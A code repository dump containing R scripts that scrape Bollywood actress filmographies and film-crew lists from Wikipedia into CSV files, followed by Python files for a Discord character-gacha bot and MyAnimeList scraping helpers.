table_nanda$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_nanda$Notes)
table_nanda$Notes <- str_trim(string = table_nanda$Notes)
write.csv(x = table_nanda, file = "nanda.csv")
<file_sep>/actresses/raveena_tandon.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Raveena_Tandon_filmography'
# Assign the wiki url to `file_url`
table_raveenatandon <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_raveenatandon <- table_raveenatandon[[1]]
# convert `table_raveenatandon` from `list` into `data.frame`
names(table_raveenatandon) <- c("Film", "Year", "Role", "Directors", "Notes")
# rename columns
# clean text in column-1
table_raveenatandon$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_raveenatandon$Film)
table_raveenatandon$Film <- str_trim(string = table_raveenatandon$Film)
# clean text in column-2
table_raveenatandon$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_raveenatandon$Year)
table_raveenatandon$Year <- str_trim(string = table_raveenatandon$Year)
# clean text in column-3
table_raveenatandon$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_raveenatandon$Role)
table_raveenatandon$Role <- str_trim(string = table_raveenatandon$Role)
# clean text in column-4
table_raveenatandon$Directors <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_raveenatandon$Directors)
table_raveenatandon$Directors <- gsub(pattern = "^$", replacement = NA_character_, x = table_raveenatandon$Directors)
table_raveenatandon$Directors <- str_trim(string = table_raveenatandon$Directors)
# clean text in column-5
table_raveenatandon$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_raveenatandon$Notes)
table_raveenatandon$Notes <- str_trim(string = table_raveenatandon$Notes)
table_raveenatandon <- select(table_raveenatandon, Year, Film, Role, Notes, Directors)
write.csv(x = table_raveenatandon, file = "raveena_tandon.csv")
<file_sep>/music_directors/indian_film_music_directors.R
# Scrape Indian Film `Music Directors` names from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` pacakge
WorkDir <- "~/DA/projects/Bollywoodata/music_directors/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/List_of_Indian_film_music_directors"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = 'td:nth-child(1) a') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = 'td:nth-child(1) a') %>%
html_attr(name = 'href') %>%
unlist(use.names = F)
music_directors <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = music_directors, file = 'indian_film_music_directors.csv
<file_sep>/actresses/yogeeta_bali.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Yogeeta_Bali'
# Assign the wiki url to `file_url`
table_yogeeta <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_yogeeta <- table_yogeeta[[1]]
# convert `table_yogeeta` from `list` into `data.frame`
# clean text in column-1
table_yogeeta$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_yogeeta$Year)
table_yogeeta$Year <- str_trim(string = table_yogeeta$Year)
# clean text in column-2
table_yogeeta$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_yogeeta$Film)
table_yogeeta$Film <- str_trim(string = table_yogeeta$Film)
# clean text in column-3
table_yogeeta$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_yogeeta$Role)
table_yogeeta$Role <- str_trim(string = table_yogeeta$Role)
table_yogeeta <- select(table_yogeeta, Year, Film, Role)
write.csv(x = table_yogeeta, file = "yogeeta_bali.csv")
<file_sep>/actresses/madhoo.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Madhoo'
# Assign the wiki url to `file_url`
table_madhoo <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_madhoo <- table_madhoo[[1]]
# convert `table_madhoo` from `list` into `data.frame`
names(table_madhoo) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_madhoo$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_madhoo$Year)
table_madhoo$Year <- str_trim(string = table_madhoo$Year)
# clean text in column-2
table_madhoo$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_madhoo$Film)
table_madhoo$Film <- gsub(pattern = "\\.\\.\\.", replacement = " ", x = table_madhoo$Film)
table_madhoo$Film <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_madhoo$Film)
table_madhoo$Film <- str_trim(string = table_madhoo$Film)
# clean text in column-3
table_madhoo$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_madhoo$Role)
table_madhoo$Role <- str_trim(string = table_madhoo$Role)
# clean text in column-4
table_madhoo$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_madhoo$Language)
table_madhoo$Language <- str_trim(string = table_madhoo$Language)
# clean text in column-5
table_madhoo$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_madhoo$Notes)
table_madhoo$Notes <- str_trim(string = table_madhoo$Notes)
table_madhoo <- select(table_madhoo, Year, Film, Role, Notes, Language)
table_madhoo <- arrange(table_madhoo, Year, Film)
write.csv(x = table_madhoo, file = "madhoo.csv")
<file_sep>/actresses/waheeda_rehman.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Waheeda_Rehman"
# Assign the wiki url to `file_url`
table_waheedarehman <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="collapsibleTable0"]') %>%
html_table(trim = T)
table_waheedarehman <- table_waheedarehman[[1]]
# convert `table_waheedarehman` from `list` into `data.frame`
names(table_waheedarehman) <- c("Year", "Film", "Role", "Language")
# rename columns
# clean text in column-1
# clean text in column-2
# clean text in column-3
# clean text in column-4
write.csv(x = table_waheedarehman, file = "waheeda_rehman.csv")
<file_sep>/actresses/shilpa_shirodkar.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Shilpa_Shirodkar'
# Assign the wiki url to `file_url`
table_shilpashirodkar <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_shilpashirodkar <- table_shilpashirodkar[[1]]
# convert `table_shilpashirodkar` from `list` into `data.frame`
names(table_shilpashirodkar) <- c("Year", "Film", "Role", "Language")
# rename columns
# clean text in column-1
table_shilpashirodkar$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashirodkar$Year)
table_shilpashirodkar$Year <- str_trim(string = table_shilpashirodkar$Year)
# clean text in column-2
table_shilpashirodkar$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashirodkar$Film)
table_shilpashirodkar$Film <- str_trim(string = table_shilpashirodkar$Film)
# clean text in column-3
table_shilpashirodkar$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashirodkar$Role)
table_shilpashirodkar$Role <- str_trim(string = table_shilpashirodkar$Role)
# clean text in column-4
table_shilpashirodkar$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_shilpashirodkar$Language)
table_shilpashirodkar$Language <- str_trim(string = table_shilpashirodkar$Language)
table_shilpashirodkar <- select(table_shilpashirodkar, Year, Film, Role, Language)
table_shilpashirodkar <- arrange(table_shilpashirodkar, Year, Film)
write.csv(x = table_shilpashirodkar, file = "shilpashirodkar.csv")
<file_sep>/actresses/shyama.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Shyama"
# Assign the wiki url to `file_url`
table_shyama <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[1]') %>%
html_text(trim = T)
# text cleaning
table_shyama <- str_split(string = table_shyama, pattern = "\n")
table_shyama <- table_shyama[[1]]
table_shyama <- as.character(table_shyama)
table_shyama <- as.data.frame(table_shyama)
# convert `table_shyama` `list` into `data.frame`
table_shyama[2] <- NA
# Initialize 2nd column of `text.nargis`
names(table_shyama) <- c("Year", "Film")
# rename columns of `text.nargis`
table_shyama$Film <- table_shyama$Year
# copy column-1 data to column-2
# clean text in column-1
table_shyama$Year <- gsub(pattern = '[a-zA-Z]|\\(|\\)|-|,|\'|\\.', replacement = '', x = table_shyama$Year)
table_shyama$Year <- str_trim(string = table_shyama$Year)
table_shyama$Year <- substr(x = table_shyama$Year, start = 1, stop = 4)
# clean text in column-2
table_shyama$Film <- str_extract(string = table_shyama$Film, pattern = '.*[0-9]')
table_shyama$Film <- gsub(pattern = '\\(|[0-9]*|\\).*', replacement = '', x = table_shyama$Film)
table_shyama$Film <- str_trim(string = table_shyama$Film)
write.csv(x = table_shyama, file = "shyama.csv")
<file_sep>/actresses/tanuja.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Tanuja"
# Assign the wiki url to `file_url`
text_tanuja <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/div[2]') %>%
html_text(trim = T)
# text cleaning
text_tanuja <- str_split(string = text_tanuja, pattern = "\n")
text_tanuja <- text_tanuja[[1]]
text_tanuja <- as.data.frame(text_tanuja)
# convert `text_tanuja` `list` into `data.frame`
text_tanuja[2] <- NA
# Initialize 2nd column of `text_tanuja`
names(text_tanuja) <- c("Year", "Film")
# rename columns of `text_tanuja`
text_tanuja$Film <- text_tanuja$Year
# copy column-1 data to column-2
# clean text in cloumn-1
text_tanuja$Year <- gsub(pattern = ".*\\((.*)\\)", replacement = "\\1", x = text_tanuja$Year)
text_tanuja$Year <- gsub(pattern = "\\{|\\}", replacement = "", x = text_tanuja$Year)
text_tanuja$Year <- gsub(pattern = "[a-zA-Z]", replacement = "", x = text_tanuja$Year)
text_tanuja$Year <- str_trim(string = text_tanuja$Year)
text_tanuja$Year <- str_extract(string = text_tanuja$Year, pattern = "[0-9]*")
text_tanuja$Year <- str_trim(string = text_tanuja$Year)
# clean text in cloumn-2
text_tanuja$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_tanuja$Film)
text_tanuja$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1",x = text_tanuja$Film)
text_tanuja$Film <- gsub(pattern = "(.*)\\{.*", replacement = "\\1",x = text_tanuja$Film)
text_tanuja$Film <- str_trim(string = text_tanuja$Film)
write.csv(x = text_tanuja, file = "tanuja.csv")
<file_sep>/actresses/kajol.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Kajol_filmography'
# Assign the wiki url to `file_url`
table_kajol <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_kajol <- table_kajol[[1]]
# convert `table_kajol` from `list` into `data.frame`
names(table_kajol) <- c("Film", "Year", "Role", "Director", "Genre", "Notes")
# rename columns
# clean text in column-1
table_kajol$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_kajol$Film)
table_kajol$Film <- gsub(pattern = "(.*)\\.\\.\\.", replacement = "\\1", x = table_kajol$Film)
table_kajol$Film <- str_trim(string = table_kajol$Film)
# clean text in column-2
table_kajol$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_kajol$Year)
table_kajol$Year <- str_trim(string = table_kajol$Year)
# clean text in column-3
table_kajol$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_kajol$Role)
table_kajol$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_kajol$Role)
table_kajol$Role <- gsub(pattern = "(.*)\\[d\\]", replacement = "\\1", x = table_kajol$Role)
table_kajol$Role <- str_trim(string = table_kajol$Role)
# clean text in column-4
table_kajol$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_kajol$Director)
table_kajol$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_kajol$Director)
table_kajol$Director <- str_trim(string = table_kajol$Director)
# clean text in column-5
table_kajol$Genre <- gsub(pattern = "^$", replacement = NA_character_, x = table_kajol$Genre)
table_kajol$Genre <- str_trim(string = table_kajol$Genre)
# clean text in column-6
table_kajol$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_kajol$Notes)
table_kajol$Notes <- str_trim(string = table_kajol$Notes)
table_kajol <- select(table_kajol, Year, Film, Role, Notes, Director, Genre)
write.csv(x = table_kajol, file = "kajol.csv")
<file_sep>/actresses/poonam_dhillon.R
# Sample script to scrape text from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Poonam_Dhillon"
# Assign the wiki url to `file_url`
Year <- file_url %>%
read_html() %>%
html_nodes(css = 'ul:nth-child(17) li') %>%
html_text()
Year <- str_extract(string = Year, pattern = "[0-9]{4}")
Year <- str_trim(string = Year)
Film <- file_url %>%
read_html() %>%
html_nodes(css = 'ul:nth-child(17) i , li:nth-child(2) i a, li:nth-child(1) i a') %>%
html_text()
Film <- unique(x = Film)
Film <- str_trim(string = Film)
Film[72] <- NA_character_
table_poonamdhillon <- data.frame(Year, Film, stringsAsFactors = F)
write.csv(x = table_poonamdhillon, file = "poonam_dhillon.csv")
<file_sep>/cinematographers/indian_film_cinematographers.R
# Scrape Indian Film `Cinematographer` names from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
WorkDir <- "~/DA/projects/Bollywoodata/cinematographers/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/Indian_cinematographers"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '.column-count-3 a:nth-child(1)') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = '.column-count-3 a:nth-child(1)') %>%
html_attr(name = 'href') %>%
unlist(use.names = F)
cinematographers <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F) %>%
filter(name != "[1]")
write.csv(x = cinematographers, file = 'indian_film_cinematographers.csv')
<file_sep>/actresses/madhubala.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Madhubala"
# Assign the wiki url to `file_url`
table_madhubala <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_madhubala <- table_madhubala[[1]]
# convert `table_madhubala` from `list` into `data.frame`
names(table_madhubala) <- c("Year", "Film", "Director", "Notes")
# rename columns
# clean text in column-2
table_madhubala$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_madhubala$Film)
table_madhubala$Film <- str_trim(string = table_madhubala$Film)
# clean text in column-3
table_madhubala$Director <- str_trim(string = table_madhubala$Director)
# clean text in column-4
table_madhubala$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_madhubala$Notes)
table_madhubala$Notes <- str_trim(string = table_madhubala$Notes)
write.csv(x = table_madhubala, file = "madhubala.csv")
<file_sep>/actresses/vyjayanthimala.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Vyjayanthimala"
# Assign the wiki url to `file_url`
table_vyjayanthimala <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_vyjayanthimala <- table_vyjayanthimala[[1]]
# Convert `table_vyjayanthimala` from `list` into `data.frame`
# Replace empty strings with `NA`s
table_vyjayanthimala$`Notes and Awards` <- gsub(pattern = "^$", replacement = NA_character_, x = table_vyjayanthimala$`Notes and Awards`)
# Clean cloumns
table_vyjayanthimala$Year <- str_trim(string = table_vyjayanthimala$Year)
table_vyjayanthimala$Film <- str_trim(string = table_vyjayanthimala$Film)
table_vyjayanthimala$Role <- str_trim(string = table_vyjayanthimala$Role)
table_vyjayanthimala$Language <- str_trim(string = table_vyjayanthimala$Language)
table_vyjayanthimala$`Notes and Awards` <- str_trim(string = table_vyjayanthimala$`Notes and Awards`)
write.csv(x = table_vyjayanthimala, file = "vyjayanthimala.csv")
<file_sep>/screenwriters/indian_film_screenwriters_female.R
# Scrape Indian Film `Female Screenwriter` names from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
WorkDir <- "~/DA/projects/Bollywoodata/screenwriters/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/Category:Indian_women_screenwriters"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '.mw-category-group a') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = '.mw-category-group a') %>%
html_attr(name = 'href') %>%
unlist(use.names = F)
screenwriters_female <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = screenwriters_female, file = 'indian_film_screenwriters_female.csv')
<file_sep>/actresses/praveen_babi.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Parveen_Babi"
# Assign the wiki url to `file_url`
table_praveenbabi <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_praveenbabi <- table_praveenbabi[[1]]
# convert `table_praveenbabi` from `list` into `data.frame`
# clean text in column-2
table_praveenbabi$Film <- gsub(pattern = ".*(Hindi.*)", replacement = "\\1", x = table_praveenbabi$Film)
table_praveenbabi$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_praveenbabi$Film)
table_praveenbabi$Film <- str_trim(string = table_praveenbabi$Film)
# clean text in column-3
table_praveenbabi$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_praveenbabi$Role)
table_praveenbabi$Role <- str_trim(string = table_praveenbabi$Role)
write.csv(x = table_praveenbabi, file = "praveen_babi.csv")
<file_sep>/actresses/indian_film_actresses.R
# Scrape Bollywood `Actress` names from wiki
library(rvest) # Load `rvest` package
WorkDir <- '~/DA/Projects/Bollywoodata/actresses/'
setwd(dir = WorkDir)
file_url <- 'https://en.wikipedia.org/wiki/List_of_Indian_film_actresses'
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '#mw-content-text ul:nth-child(1) a:nth-child(1)') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = '#mw-content-text ul:nth-child(1) a:nth-child(1)') %>%
html_attr(name = 'href') %>%
lapply(FUN = function(x) paste0("https://en.wikipedia.org", x)) %>%
unlist(use.names = F)
actresses <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = actresses, file = 'indian_film_actresses.csv')
<file_sep>/actresses/divya_bharti.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Divya_Bharti'
# Assign the wiki url to `file_url`
table_divyabharti <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_divyabharti <- table_divyabharti[[1]]
# convert `table_divyabharti` from `list` into `data.frame`
names(table_divyabharti) <- c("Year", "Film", "Role","Language", "Notes")
# rename columns
# clean text in column-1
table_divyabharti$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_divyabharti$Year)
table_divyabharti$Year <- str_trim(string = table_divyabharti$Year)
# clean text in column-2
table_divyabharti$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_divyabharti$Film)
table_divyabharti$Film <- str_trim(string = table_divyabharti$Film)
# clean text in column-3
table_divyabharti$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_divyabharti$Role)
table_divyabharti$Role <- str_trim(string = table_divyabharti$Role)
# clean text in column-4
table_divyabharti$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_divyabharti$Language)
table_divyabharti$Language <- str_trim(string = table_divyabharti$Language)
# clean text in column-5
table_divyabharti$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_divyabharti$Notes)
table_divyabharti$Notes <- str_trim(string = table_divyabharti$Notes)
table_divyabharti <- select(table_divyabharti, Year, Film, Role, Notes, Language)
write.csv(x = table_divyabharti, file = "divya_bharti.csv")
<file_sep>/actresses/urmila_matondkar.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Urmila_Matondkar_filmography'
# Assign the wiki url to `file_url`
table_urmila <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_urmila <- table_urmila[[1]]
# convert `table_urmila` from `list` into `data.frame`
names(table_urmila) <- c("Film", "Year", "Role", "Director", "Notes")
# rename columns
# clean text in column-1
table_urmila$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_urmila$Film)
table_urmila$Film <- str_trim(string = table_urmila$Film)
# clean text in column-2
table_urmila$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_urmila$Year)
table_urmila$Year <- str_trim(string = table_urmila$Year)
# clean text in column-3
table_urmila$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_urmila$Role)
table_urmila$Role <- str_trim(string = table_urmila$Role)
# clean text in column-4
table_urmila$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_urmila$Director)
table_urmila$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_urmila$Director)
table_urmila$Director <- str_trim(string = table_urmila$Director)
# clean text in column-5
table_urmila$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_urmila$Notes)
table_urmila$Notes <- str_trim(string = table_urmila$Notes)
table_urmila <- select(table_urmila, Year, Film, Role, Notes, Director)
write.csv(x = table_urmila, file = "urmila_matondkar.csv")
<file_sep>/production_houses/indian_film_production_houses.R
# Scrape Indian Film `Producion Houses` names from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` pacakge
WorkDir <- "~/DA/projects/Bollywoodata/production_houses/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/Category:Film_production_companies_of_India"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '#mw-pages .mw-category-group a') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = '#mw-pages .mw-category-group a') %>%
html_attr(name = 'href') %>%
unlist(use.names = F)
production_houses <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = production_houses, file = 'indian_film_production_houses.csv')
|
22d901378a2b4a0c40f1e245ac8409b0ffdddfd0
|
[
"Markdown",
"R"
] | 77
|
R
|
puneeth019/Bollywoodata
|
ab42780776920a8e9bd412a41acdc1ad899759f7
|
af494b0f235e27c8b7428049d2cb2d90082df876
|
refs/heads/master
|
<file_sep>import discord
import os
from discord.ext import commands
from IDs.id_list import id_list
# from id_list import id_list
from Deprecated_Files.get_image import get_image
# from get_image import get_image
from random import choice
from MAL_Parser import Character
# from get_attributes import Character
import random
from stats import WeightedChoice
bot = commands.Bot(command_prefix='.', case_insensitive=True, owner_id=465283213217103882)
token = os.environ.get('SYLOK_KEY')
bot.version = '0.1.2' # major changes, minor changes, small changes
waifu_database_root = 'E:\\Waifu Database'
def is_registered(author_id):
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\registered_users.txt', 'r') as f:
if str(author_id) in f.read():
return True
else:
return False
def create_waifu_id_list():
return next(os.walk(waifu_database_root))[1]
def get_random_waifu_id():
return random.choice(create_waifu_id_list())
def get_waifu_image_url(waifu_id):
link_directory = f"E:\\Waifu Database\\{waifu_id}\\images\\links"
with open(f'{link_directory}\\{random.choice(os.listdir(link_directory))}', 'r') as link_txt:
return link_txt.read()
def get_waifu_initials(waifu_id):
with open(f'E:\\Waifu Database\\{waifu_id}\\info\\initials.txt') as initials:
return initials.read()
def create_drop_embed(waifu_id, img_url):
# random_image = random.choice(os.listdir(f"E:\\Waifu Database\\{waifu_id}\\images\\links"))
embed = discord.Embed(title='**Character**', description=f'A waifu/husbando has appeared!\nTry guessing their name with `.claim <name>` to claim them!\n\nHints:\nThis characters initials are \'{get_waifu_initials(waifu_id)}\'\n'
f'Use `.lookup <name>` if you can\'t remember the full name.\n\n(If the image is missing, click [here]({img_url}).)')
embed.set_image(url=img_url)
return embed
@bot.event # error handler
async def on_command_error(ctx, error):
ignored = (commands.CommandNotFound, commands.UserInputError)
if isinstance(error, ignored):
return
if isinstance(error, commands.CommandOnCooldown):
await ctx.send(f'You are on cooldown. Seconds remaining: {round(error.retry_after, 2)}s')
elif isinstance(error, commands.CheckFailure):
await ctx.send('You lack permission to use this command.')
raise error
@bot.event
async def on_message(msg):
weighted_choice = WeightedChoice(((False, 97), (True, 3)))
# weighted_choice = WeightedChoice(((False, 20), (True, 80)))
random_waifu_id = get_random_waifu_id()
if msg.author == bot.user:
return
if weighted_choice.next():
await msg.channel.send(content=None, embed=create_drop_embed(random_waifu_id, get_waifu_image_url(random_waifu_id)))
else:
await msg.channel.send('Unlucky. No waifu this time.')
@commands.cooldown(1, 4, commands.BucketType.user)
@bot.command()
async def roll(ctx, arg=None):
if arg is not None:
await ctx.send('Invalid usage of .groll')
return
if not is_registered(ctx.author.id):
await ctx.send(f'You are not registered! Register using {bot.command_prefix}register .')
return
waifu = Character(choice(id_list()))
embed = discord.Embed(title='Waifu Gacha', description=f'Roll Result:\n**{waifu.name}** [α]')
try:
embed.set_image(url=f'{choice(waifu.images)}')
except IndexError:
print(f'There was an Exception! id: {waifu.character_id}')
embed.set_image(url=f'{get_image(waifu.character_id)}')
embed.add_field(name='Character Stats', value='**Agility:** n/a\n**Defense:** n/a\n**Endurance:** n/a\n**Strength:** n/a\n**Total CSI:** n/a')
embed.add_field(name='Roll Type', value='Standard', inline=False)
embed.set_footer(text=f"{str(ctx.author)[:str(ctx.author).find('#')]}'s Gacha Roll")
await ctx.send(content=None, embed=embed)
@bot.command()
@commands.is_owner()
async def test(ctx):
print(ctx.author) # Waifu Hearts#7777
print(ctx.message) # message object
print(ctx.message.author.id) # 465283213217103882
print(ctx) # context object
@bot.command()
async def register(ctx):
if is_registered(ctx.message.author.id):
await ctx.send('You are already registered!')
else:
with open('ID', 'a') as f:
f.write(f'{ctx.message.author.id}\n')
@bot.command()
@commands.is_owner()
async def disconnect(ctx):
await bot.logout()
bot.run(token)
<file_sep>class HeavyAccessRestrictionError(Exception):
def __init__(self, message='Request to MAL denied due to heavy site access.'):
self.message = message
super().__init__(self.message)
class MALScrapingError(Exception):
def __init__(self, message='There was an error when attempting to access myanimelist.net.'):
self.message = message
super().__init__(self.message)
<file_sep>def file_len(fname):
with open(fname, encoding='utf-8') as fp:
for i, l in enumerate(fp):
pass
return i + 1
def id_list():
character_id_list = []
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\valid_id_list_new.txt', 'r', encoding='utf-8') as f:
for i in range(file_len('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\valid_id_list_new.txt')):
line = f.readline()
character_id = line[line.find(':')+1:line.find('name')].strip()
character_id_list.append(int(character_id))
return character_id_list
<file_sep>from bs4 import BeautifulSoup
import requests
from time import sleep
